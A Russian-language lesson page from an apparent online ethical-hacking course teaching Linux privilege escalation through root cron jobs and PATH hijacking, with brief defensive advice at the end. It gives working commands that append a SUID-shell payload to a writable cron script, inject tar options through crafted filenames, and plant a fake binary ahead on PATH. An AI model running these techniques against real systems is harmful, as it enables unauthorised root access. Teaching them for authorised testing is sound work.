0Pricing
Ethical Hacking Academy · Урок

Задания Cron и PATH

Злоупотребление запланированными задачами

«Задания Cron и PATH» — бесплатный урок Ethical Hacking Academy на CoddyKit. Это урок 3 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Ethical Hacking Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Ethical Hacking Academy содержит 4 уроков всего.

Задания Cron как путь к атаке

Демон cron запускает запланированные задачи, часто от имени root. Если Вы можете влиять на то, что выполняет задание cron от имени root — его сценарий, входные данные или способ поиска команд, — Вы сможете запустить код с правами root.

Перечисление Cron

Прочитайте системный файл crontab и каталоги cron. Обратите внимание, кто запускает каждое задание и какие сценарии оно вызывает.

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null

Поиск скрытых заданий

Некоторые задания отсутствуют в очевидных файлах. pspy отслеживает создание процессов без прав root и показывает команды cron в момент их запуска, включая те, которые Вы не можете прочитать в конфигурации.

./pspy64
# watch for periodic root processes

Скрипты Cron с правом записи

Самый простой способ злоупотребления: задание Cron с правами root запускает скрипт, который Вы можете изменять. Добавьте полезную нагрузку и дождитесь следующего запуска.

ls -la /opt/backup.sh   # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh

Инъекция с помощью шаблона подстановки

Если задание Cron с правами root использует шаблон подстановки, например tar -czf backup.tar.gz *, в каталоге, которым Вы управляете, можно создать файлы, имена которых будут интерпретироваться как параметры командной строки (инъекция аргументов), заставляя tar выполнить Вашу команду.

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.sh

Что такое PATH

PATH — это список каталогов, в которых оболочка ищет команды. Когда скрипт вызывает команду только по имени (например, backup вместо /usr/bin/backup), используется первый найденный файл из PATH.

echo $PATH
# /usr/local/bin:/usr/bin:/bin

Перехват PATH

Если скрипт, запускаемый с правами root, вызывает команду без абсолютного пути, а Вы можете добавить доступный для записи каталог в начало его PATH, поместите туда вредоносный двоичный файл с таким именем. root запустит Вашу версию.

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

Относительный путь в двоичных файлах SUID

Та же ошибка встречается в пользовательских двоичных файлах SUID, которые вызывают system("service ...") без полного пути. Перехват PATH позволит выполнить Ваш код с правами root — это сочетает злоупотребление PATH с концепцией SUID.

Эксплуатация доступного для записи каталога PATH

Даже не изменяя PATH, можно воспользоваться доступным для записи существующим каталогом PATH, например /usr/local/bin, если задание с правами root вызывает найденную там команду: просто поместите свой двоичный файл на её место.

ls -ld /usr/local/bin   # check for write permission

Выбор времени атаки

Повышение привилегий через Cron требует терпения — необходимо дождаться запуска по расписанию. Определите интервал, разместите полезную нагрузку и проверьте результат (например, оболочку SUID) после выполнения задания.

watch -n 5 ls -la /tmp/rootbash

Защита и этика

Защитникам следует использовать в скриптах абсолютные пути, ограничивать права доступа к скриптам Cron и их каталогам, избегать шаблонов подстановки в путях, которыми может управлять атакующий, и задавать безопасный PATH внутри Cron. Проверяйте эти методы только там, где у Вас есть разрешение.

Быстрая проверка

Проверьте свои знания о Cron и PATH.

Повторение

Вы изучили повышение привилегий через Cron и PATH:

  • Задания Cron с правами root, вызывающие скрипты с правом записи или использующие шаблоны подстановки, уязвимы
  • pspy обнаруживает скрытые запланированные процессы
  • Перехват PATH использует команды, вызываемые без абсолютного пути
  • Разместите полезную нагрузку, дождитесь запуска по расписанию и получите права root

Далее: эксплуатация уязвимостей ядра.

Часто задаваемые вопросы

Урок «Задания Cron и PATH» бесплатный?

Да — полный текст урока «Задания Cron и PATH» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Ethical Hacking Academy, подпишись на CoddyKit PRO. Курс Ethical Hacking Academy содержит 4 уроков всего.

Чему я научусь в уроке «Задания Cron и PATH»?

Злоупотребление запланированными задачами Ты практикуешь Ethical Hacking Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Ethical Hacking Academy?

Предыдущий опыт не требуется. Ethical Hacking Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 3 из 4.

Сколько времени занимает урок «Задания Cron и PATH»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Ethical Hacking Academy?

Да. Каждый урок Ethical Hacking Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Перечисление
  2. Злоупотребление SUID и Sudo
  3. Задания Cron и PATH
  4. Эксплойты ядра
← Назад к Ethical Hacking Academy